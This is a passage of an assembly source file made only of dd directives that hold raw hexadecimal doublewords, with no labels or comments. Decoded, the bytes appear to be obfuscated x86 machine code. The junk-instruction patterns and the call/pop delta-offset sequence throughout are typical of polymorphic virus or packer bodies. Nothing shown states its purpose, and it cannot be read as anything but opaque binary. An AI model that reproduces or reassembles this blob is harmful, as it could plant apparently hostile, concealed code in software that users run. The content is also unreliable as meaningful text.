0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 89A2EFDCh, 42BC8051h dd 5E8ADh, 6BCE0000h, 8983E911h, 307E995h, 0BD835F06h dd 60304B9h, 0DE840F00h, 8B000000h, 32271BDh, 0C1BD8306h dd 6030Ch, 0CB840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 6B8B1CC3h, 4B995FFh dd 6A0603h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0C5845EC3h, 91715C6Ah, 85295FA1h, 603170Dh dd 840FC00Bh, 75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 83C35747h, 0EA2B20B3h, 0E94CADD1h, 14h dd 9DE03B35h, 95C45D7Eh, 6115A1A7h, 7A24BA52h, 1F130A2Fh dd 4D698D8Dh, 0BD8B0603h, 6031729h, 5B8h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 645BFDE1h, 81E1FFDDh, 0B404AF6h, 65BD8349h, 60306h dd 605840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 942902C3h, 0B4330D74h, 835BB98Ah dd 30CC1BDh, 840F0006h, 5D3h, 7DF8160h, 0F0BEF7Eh, 8D61D6BFh dd 31CC18Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0DE81E680h, 6B44695Bh, 7C8401C7h dd 6A44B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0C6106EC3h, 0AF94DAB6h, 2AB1BD33h, 1810603h dd 1499CFCBh, 965BD0Bh, 9E90603h, 0B000000h, 0C5F57F72h dd 0B8969871h, 340441C7h, 6ACE706Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 81D4C351h dd 0E9503A50h, 0Bh, 480CC2DFh, 65B9ECCAh, 5F4A3E28h, 10044181h dd 8131D6D7h, 0C35EE0C7h, 6A006A2Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E978C356h dd 0Fh, 17F67467h, 0C0B43181h, 79731960h, 292BB9BAh, 3070585h dd 0C1858D06h, 6006031Ch, 5B9BD01h, 8B0F0603h, 0 dd 4895061h, 0E5BE6624h, 51BD8B18h, 0FF060303h, 3066595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 50184D88h, 0F6DB88ABh, 8F0F5C0Ch, 0 dd 1CC18D8Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0FEA5E4C3h, 1C76Bh, 53000000h, 12E9h dd 0BF724B00h, 0C21AE6Ah, 0F53FA171h, 0BF08E885h, 5FE789A0h dd 441C7h, 0E9000000h, 0Fh, 70846B33h, 96ABA673h, 97472E39h dd 0B0DD9E9h, 5A840FC0h, 0E9000000h, 14h, 0D81A1012h, 1D041811h dd 0DEAAE7E9h, 0F61F6016h, 51F82598h, 12E8h, 3A10F200h dd 4D1EA6ACh, 0B3D917DEh, 5D6D2316h, 814D0071h, 253BA2C7h dd 8D8D5F64h, 6034D69h, 7E9h, 18EFF200h, 4D765882h, 5B8h dd 1EE7BE00h, 0E1FF51ACh, 0D68B6ABEh, 0C18D8D64h, 6006031Ch dd 6ED8D0Bh, 8D0B0603h, 6030B75h, 7C01C761h, 6A44AA72h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 69E7C350h, 6ABE667Fh, 0CB01814Dh, 601499CFh dd 22518589h, 61FC0603h, 3C0441C7h, 6ACE7875h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0FEF7C352h, 0BBBE8CC5h, 8161B54Ah, 0E0FFDAC7h, 441817Bh dd 31D6D710h, 75858960h, 61060324h, 8EDB58Bh, 6A0603h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 48C35545h dd 683865Fh, 0A959EFB9h, 0C1858D62h, 6A06031Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0BBAAC352h, 0F1BED05Ch, 89EB44EDh, 30585B5h, 0FE8B6606h dd 800F6050h, 0 dd 5E95250h, 9F000000h, 0B922FCC7h, 585A310Fh, 24048961h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h dd 2E55EDC8h, 6E88082Bh, 0CDD2BE78h, 95FF110Ah, 6030665h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 7C35343h dd 0FEFDB3Fh, 198Eh, 14E900h, 4FA60000h, 6F7B428Ah, 785CE3DAh dd 0C698814Ch, 86FC0B0Eh, 8D8D07D2h, 6031CC1h, 1C7FE8Bh dd 0 dd 0B29B531h, 0F28B0603h, 441C7h, 8B000000h, 3246DB5h dd 0FC00B06h, 6C84h, 2FF68100h, 8D370B43h, 34D698Dh, 0F3BF6606h dd 81666099h, 0FCD92ED7h, 5B861h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 8D01CCC3h dd 6031AFDh, 2C019D89h, 0E1FF0603h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 8FC35242h, 0FCB48D44h, 0C33A4199h dd 0C18D8D33h, 6A06031Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 59B8C352h, 0FAEE5BCh dd 108Ah, 5E800h, 0E5A80000h, 0BF04E382h, 2AD03D33h, 0A501C75Eh dd 8154CA95h, 8DA735D6h, 0CB01817Ah, 6A1499CFh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 9594C355h, 4F67DBB7h, 1631145h, 3132D8Dh, 0B1B58B06h dd 0C7060315h, 59690441h, 6ACE5Fh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0B9B478C3h, 0B58BE55Dh dd 6032909h, 2645BD8Bh, 41810603h, 0D6D71004h, 6AF531h dd 2A91B529h, 858D0603h, 6031CC1h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0D7C35646h, 859D892Ch, 50060326h dd 28D0Fh, 0F28B0000h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B95C353h dd 3043DB5h, 0AD8D8906h, 0FF06032Fh, 3066595h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0B536E8B3h, 0B58B0FDEh, 603036Dh, 1CC18D8Dh, 89600603h dd 30BA595h, 610DB606h, 1C7h, 0BD8B0000h, 6032159h, 441C7h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 8552C356h, 4AD7734Fh, 0B22D243h dd 20840FC0h, 0F8000000h, 4D698D8Dh, 85890603h, 6032D21h dd 5B8h, 0F18B6600h, 2035BD33h, 0E1FF0603h, 3FBB70Fh, 0F27FE9CAh dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0E77AACC3h, 0FACF8166h, 0D18D29FAh, 8B060307h dd 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 6860F67h, 81000000h, 9E94CAE6h, 4EB25h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0D107C353h, 7F933C80h, 20D98D89h dd 6A0603h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0D0E058C3h, 0A8F2B5F2h, 858D2147h, 6031309h dd 7E8h, 0EB4EC100h, 4C23A7A7h, 0CE9905Eh, 78000000h, 0D1CC3621h dd 0ABCA311Fh, 5005B85Ah, 5E8h, 89FC4400h, 905E043Bh, 2F79B58Bh dd 870F0603h, 0Ch, 6860Fh, 0BD890000h, 6031C7Dh, 60BE006Ah dd 6A506C6Fh, 99858D00h, 890606DDh, 326B59Dh, 6DBD3106h dd 8306032Eh, 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B58B97C3h, 6030855h, 525050F5h dd 9B9CBE66h, 0F2BE310Fh, 5A7BDD71h, 24048958h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0DFC35040h, 14E9h dd 7AEFC400h, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h dd 61B50900h, 6A06032Fh, 0ED12BE00h, 6A5589h, 1EFFF681h dd 95FF41D1h, 6031DF9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0BCC35040h, 0A859BC8Dh, 8D997174h, 699339Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 63E172CDh, 25E5B501h, 0D3FF0603h, 7E8h dd 0DBC18900h, 0E2D93419h, 6CF68166h, 85FF5E44h, 6031D01h dd 98DB533h, 81E90603h, 0E8000009h, 0 dd 0A3ED815Dh, 810606DDh, 323A40C6h, 0D9BD8107h, 0D0060316h dd 0F000007h, 1CF86h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0EE814DDBh, 419FDAF2h dd 2EB59D8Bh, 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0B00BE2C3h, 0E2B3E57Bh, 223D9D29h dd 0E3810603h, 100h, 9870Fh, 8E0F0000h, 3, 0BF3BF0Fh, 0E6850FDBh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 5B09C351h, 99E32D10h, 35B58B9Eh dd 83060331h, 6DBEEBDh, 840F0006h, 3Ah, 13E9h, 0CFD9800h dd 25A3C06Dh, 6E9796D1h, 5555BA6Dh, 57D3FCE6h, 0C9E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 85C7C134h, 606DBEEh, 1, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0BFC35242h, 6D09E8CCh, 852AF1Bh dd 12E8h, 731F4300h, 3349BFA7h, 0D08BD3B0h, 3FE22CB7h dd 893668CCh, 30EBD95h, 5BE95E06h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 8E36C353h, 8CC12069h, 7CFA3FBEh, 0EE85C759h, 606DBh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0C931C356h, 0EF5C48BEh, 0FC6CFA22h dd 0A1B589h, 9D8D0603h, 6032EB5h, 7128BE66h, 23815E53h dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 69C35141h, 6850Fh, 0B58B0000h, 6031DE5h, 7E9h dd 0D81A1000h, 1D041811h, 6ADB8C66h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9814C352h dd 5C291AE3h, 8166DCFEh, 0F6945ED6h, 840F04C3h, 43h, 30F1B58Bh dd 95FF0603h, 60300A9h, 10E9h, 0C4B5F400h, 4EDD01ADh, 0A02A9E2Fh dd 0BCEE264Ah, 860F90B0h, 3, 50F18B66h, 0D3DABE66h, 8D0F6090h dd 5, 6D271CBEh, 0C1816615h, 0E961B9CBh, 39Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C2C35747h, 0C9AA389Bh dd 0EA8D4A41h, 0B0F7BF0Fh, 85B58B00h, 0E6060307h, 55006A70h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0CE9AFE9h, 11000000h, 4F9AD8CDh, 0B893273Eh, 0E9F0C024h dd 14h, 8131E475h, 1205DE8Bh, 7A59F0Eh, 0F77213CFh, 2AFD9647h dd 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0D6F4C6C3h, 0F08BAE64h, 8F0Fh, 0B60F0000h dd 6E9D8h, 0A6460000h, 24BC62C0h, 0BAF0B70Fh, 6, 4499D89h dd 0C38B0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0DBC35646h, 3595099Bh, 0C1060323h, 6A04E8h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0FE8DFC3h, 9C000000h, 0E969B9E8h, 0BD981E4Bh, 67DC8E93h dd 0B58B30F6h, 6030E39h, 0E2F7665Eh, 1D25B58Bh, 0B58B0603h dd 6031A19h, 8B66D82Bh, 525050F1h, 310FF18Bh, 1C89585Ah dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0DFC69BA0h, 1821BD01h, 0B5FF0603h, 60316D9h dd 3810Fh, 8B660000h, 0A595FFF2h, 6A060323h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 6F6EC353h, 4E084197h, 8F0FF36Ch, 6, 170D9D89h, 0B00603h dd 850Fh, 70E60000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 8BC35545h, 0CE8101B7h, 343DAC89h, 6A71E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0C1532DC3h, 830F613Ch, 19Fh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0DEC35747h, 0CDAA54B0h, 62FBF9E3h dd 0A9E6BE66h, 89D8B60Fh, 319C5BDh, 6BA06h, 0BD010000h dd 6030075h, 0D681C38Bh, 4D717233h, 0F904E8C1h, 0FE2F766h dd 81h, 6AD82B00h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 1C9EC353h, 0B4BEAA5Dh, 581DDE63h dd 1499B58Bh, 0D82B0603h, 119880Fh, 8D010000h, 6031A85h dd 7B9h, 0D5858900h, 83060322h, 958900C1h, 60312E9h, 860FD93Bh dd 0F7h, 5140BE66h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 9DBFC356h, 7609F3F3h dd 98B01DBEh, 4C1F664h, 99840Fh, 85890000h, 6030E65h, 0A995FFh dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0F1B920C3h, 0BAF6A116h, 5BFA7C00h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 73C35242h, 49E927E4h dd 6AC32Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 474053C3h, 4A9B64C9h, 343D1A2Fh, 0F000008h dd 1686h, 6860F00h, 23000000h, 3046DB5h, 2DE906h, 0BBE0000h dd 8B1424E6h, 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 82B4ABCCh, 0F9BD29DCh, 8B06031Fh dd 6AD88BC3h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 8610C355h, 38FCC5AEh, 85C7F515h dd 6032279h, 38669B39h, 50A3EE81h, 0B70F7B3Ch, 6AC08BF0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0B0EAC351h, 0D9BD8180h, 0D0060316h, 0F000007h dd 2A85h, 71B58B00h, 0FF060322h, 316D985h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0FF068206h, 316D9B5h, 0A99D8906h, 0FF06031Bh, 323A595h dd 77D68106h, 0E8405FC9h, 6, 1A9A95D9h, 11E920DAh, 4B000000h dd 26539C93h, 0EEE97245h, 22F619BDh, 341CE73Bh, 0D88B905Eh dd 2655BD29h, 0BD830603h, 6032EBDh, 10840F00h, 51000000h dd 5EF0B70Fh, 25CE9h, 0EDB52B00h, 8C060316h, 53006ADFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0C7F766A9h, 850F0004h, 22Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0FEC35242h, 65B58B3Fh, 0BF060322h dd 0 dd 43DB509h, 810F0603h, 0 dd 0E69D9D8Dh, 0B58B0606h, 60317F5h, 20820F50h, 0E8000000h dd 10h, 0D9D3DE31h, 6E43C6C7h, 77992A81h, 418544C7h, 5E9h dd 1E008C00h, 895EE0A7h, 0B58B241Ch, 6030569h, 35FF64h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0D67BC355h, 72D7CB71h, 0BD013C53h dd 6032ADDh, 2CF99D89h, 89640603h, 25h, 9E900h, 0E8D40000h dd 65247B41h, 8BF09E95h, 50006AC4h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 6651AE4Bh, 0A2F4C681h dd 0EB01CD5Eh, 0CE816600h, 6AB3E4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0E537A6C3h dd 0F68166F7h, 8F6497FCh, 5, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 66B99F32h dd 3AE590BAh, 4D85292Fh, 8306030Bh, 6A04C4h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5AF950C3h dd 96B4EF9Eh, 8501293Ch, 6032E79h, 840FC00Bh, 0B9h, 4B1BD31h dd 0BD8D0603h, 6034D69h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0FDC35646h, 0C681664Fh, 5B8F22Ch, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 7656C350h, 0AFDB683h, 0BE9E7FFh, 30000000h dd 0AF7771AAh, 64C873Eh, 8B57807Ch, 8B10245Ch, 0B883h dd 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h, 2000000h dd 0C3C0335Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0EFC35141h, 3FCDFB0h, 30D01B5h, 65B50B06h, 8906030Ch dd 326619Dh, 0E9CA2B06h, 0FFFFF6A7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 2EC35545h, 29BD09C7h, 0BE06032Dh dd 4D3C9BCCh, 0BF66C18Bh, 4EBC6CEh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 32C35040h dd 8764B514h, 0FFB6F02h, 1A85h, 14890F00h, 0E9000000h dd 0Fh, 6043E021h, 0F2CC6942h, 0CE099B79h, 8D5B3892h, 3130985h dd 5B58B06h, 50060327h, 1C07BE66h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0D7C7C352h, 0D7F2CA0Eh, 0F105A13h, 481h, 5DBF6600h dd 6A006AA7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 18BFC352h, 0CB185E72h, 0D9BD8B4Ch dd 6A06032Ch, 6890F00h, 8B000000h, 30029B5h, 0FF858D06h dd 0E90606E8h, 0Bh, 0AB17D02Bh, 3384FCD1h, 83D3DF9Dh, 816605C0h dd 8145B2EEh, 4405BAEEh, 8B0F9007h, 3, 50F28B66h, 0EE8h dd 7BD7EA00h, 0E93644E2h, 1DC4A54Ah, 0E9683D29h, 0Bh, 3FBFADC2h dd 0B49C66C3h, 5FB6A48Dh, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 40B8EF92h dd 75329672h, 0A60DF781h, 6A746Eh, 20159589h, 6A0603h dd 0F4DB589h, 95FF0603h, 6031DF9h, 22118589h, 9D8D0603h dd 6069933h, 18D5BD8Bh, 0B58B0603h, 6030565h, 6AD3FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0E71141C3h, 0A9E0F02h, 19798D01h, 0BE660603h, 85FF2A6Bh dd 6031D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 7CC35242h, 0BB397D51h, 0F121E85h, 981h, 38A0F00h dd 66000000h, 8D89F18Bh, 6030EF9h, 79AE9h, 0E800h, 815D0000h dd 6E909EDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 10C602BCh, 8B84EFAEh, 304F5B5h, 1D9D0906h dd 8106031Bh, 316D9BDh, 7D006h, 4F860F00h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0B42C357h, 0C8DEC450h, 8B2F158Fh, 999D8BFEh, 6A060316h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 8430C357h, 0BE4B4927h, 0E381DAh, 0F000001h dd 68Eh, 559D3100h, 0B060326h, 9F850FDBh, 89000000h, 329118Dh dd 27BD8306h, 606E7h, 30840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E93A09C3h dd 7Ah, 9E9h, 0F71FE700h, 0BDF8B1CAh, 85C7E433h, 606E727h dd 1, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 0AFC35242h, 9CA8316Dh, 5DA64D56h, 0BEE68166h, 34E9F2h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 9FA0C5C3h, 45A72907h, 85C785F9h, 606E727h dd 0 dd 0E5DBD8Bh, 9D8D0603h, 6031699h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 7BC35343h, 0AB7962D7h, 20C5BD8Bh dd 23810603h, 0FFFFFEFFh, 19F19D31h, 8C660603h, 0EE8151DBh dd 69617152h, 4C3F65Eh, 80840Fh, 0FFF50000h, 300A995h dd 0B1B58906h, 90060317h, 178B0Fh, 5E80000h, 47000000h dd 5F305159h, 6E8h, 0AA234500h, 5E434282h, 0BB60505Fh dd 5DCB3771h, 14E8h, 6F304100h, 2FD7FE79h, 60B34321h, 947B51D2h dd 175EABAEh, 5ADA8B59h, 6A9061h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0BC791DC3h, 2F9B589h dd 880F0603h, 6, 43BF6651h, 23E95E61h, 0F000003h, 686h dd 0C19D2900h, 0B0060322h, 2DB58900h, 8B060300h, 320F5B5h dd 0E970E606h, 9, 33C244FEh, 67DE1D83h, 2971E498h, 32381B5h dd 0D8B60F06h, 449619BEh, 6BA6Eh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8BDDC3h dd 60317B1h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0E8C1E2C3h, 50006A04h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 1715A7F9h dd 2E66F5D6h, 3B54BE66h, 2589B589h, 0F7660603h, 55006AE2h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 9D89A5DFh, 603004Dh, 236DB589h, 0D82B0603h, 65DB589h dd 50930603h, 74BF5250h, 0F2D7496h, 8E931h, 6FF80000h dd 0D7F78271h, 585AA5FEh, 57006A93h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0E7DC0E11h dd 0FFC3227h, 0B5FFFBBFh, 60316D9h, 12E9h, 3CE80900h, 82CABEBBh dd 2A04CF22h, 0DEB9E70Eh, 29D8D82Bh, 308D185h, 0A595FF06h dd 0B0060323h, 358D0900h, 0E6060307h, 52006A70h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 6A71E496h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 348EC351h, 6584FE54h, 830F613Ch dd 186h, 10E8h, 5743E500h, 0B8A180CCh, 4A1D1732h, 0DA9DE491h dd 8E9A9h, 0C1440000h, 286A6948h, 0F5F2FDDh, 6BAD8B6h dd 8B000000h, 31741B5h, 31B52306h, 8B060323h, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0C1282205h, 958904E8h, 6032FADh, 60D78166h, 0E2F7666Dh dd 6870Fh, 0B5890000h, 6030FD1h, 8953D82Bh, 316FD95h, 0E9585F06h dd 10h, 2E683A6h, 4B13F658h, 931CD428h, 5958FB5Fh, 880FD82Bh dd 0EAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 70C35343h, 0DAC72D6Ch, 333106CBh, 7B938h, 9D090000h dd 6032DE9h, 5100C183h, 0FD93B5Eh, 0AD86h, 8DE78100h, 662B12DAh dd 8D01D98Ch, 6032C2Dh, 0F04C1F6h, 7484h, 0A995FF00h, 6A060300h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 105FC350h, 0B529FC61h, 6032675h, 0DB58B5Bh dd 2B06031Ch, 6E9C3h, 0B2140000h, 0EFFB6429h, 8343Dh, 2A860F00h dd 66000000h, 0F5B9EE81h, 41E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B70F6EA8h dd 6AC08BFAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F7FC357h, 0C38BFBB7h, 6AD88Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 645F36C3h, 0C370B4A1h, 2EB585C7h, 47B70603h, 6A3849h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 192165C3h, 0C08B0F82h, 0BD81F08Bh, 60316D9h, 7D0h, 2D850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0B26CDFC3h, 1B1D8529h, 0FFF80603h, 316D985h dd 0FF5F5206h, 316D9B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0BC97041Ah, 0BDBFA0Bh dd 30B85BDh, 9E95306h, 0E8000000h, 8CE879E1h, 0AC3D8538h dd 0A595FF5Fh, 0F060323h, 8Ah, 0BD8B9000h, 603076Dh, 64D8D89h dd 6A0603h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 6A09C3h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0D4A6D2C3h, 8A7923C2h, 918529CCh dd 0F06030Eh, 18Fh, 6AF500h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 6080A4C3h, 66ACD580h dd 9D8BF18Bh, 603143Dh, 0CF8161F8h, 65624CD8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2CC35141h, 2AB1B58Bh dd 85290603h, 60324D9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 4BC35545h, 51A2A700h, 813AD26Bh, 3DF912DFh dd 0C9BD893Fh, 6A060313h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 0B805C351h, 142CB156h dd 0B58952DFh, 6032A91h, 15D1B589h, 315F0603h, 3308DBDh dd 0F8B3E906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 1E83DEC3h, 0A8BE5200h, 5F068A89h dd 218C0Fh, 0CE80000h, 8F000000h, 95DB3D1Ah, 52323534h dd 0FB15D2Dh, 0E781F0B7h, 1B93F5D7h, 5195895Eh, 8B060325h dd 0B5BD8BC1h, 0EB060314h, 4, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D5D162FFh dd 0FB1CBCBh, 0B1B58BD7h, 66060300h, 858DFA8Bh, 6031309h dd 4628D781h, 81663311h, 50BB0DCEh, 0DE8h, 1A520100h, 9BA886A2h dd 0E5E5DD4Eh, 8B66E57Dh, 4895FF2h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 541A94C7h dd 0CFE29CF4h, 85897FC4h, 6031745h, 0B4C22DBEh, 0F006A30h dd 287h, 6AF38B00h, 6DBD8B00h, 0E9060308h, 11h, 0BA0F17Bh dd 4F6371FEh, 3999C461h, 187F1FDFh, 88858D32h, 560606F2h dd 0F11BD09h, 835E0603h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 8968B5C3h, 4E9B58Bh dd 0F900603h, 8Fh, 6A905000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0C83FC355h, 66300156h dd 8BFBDBBFh, 0D5B589FBh, 6A060302h, 6860F00h, 89000000h dd 31BD58Dh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 4DCBC353h, 203DB149h dd 30C9B529h, 95FF0603h, 6031DF9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0E6C35141h, 0D2B3D5C9h, 0C494F932h dd 1AF9BE66h, 99339D8Dh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 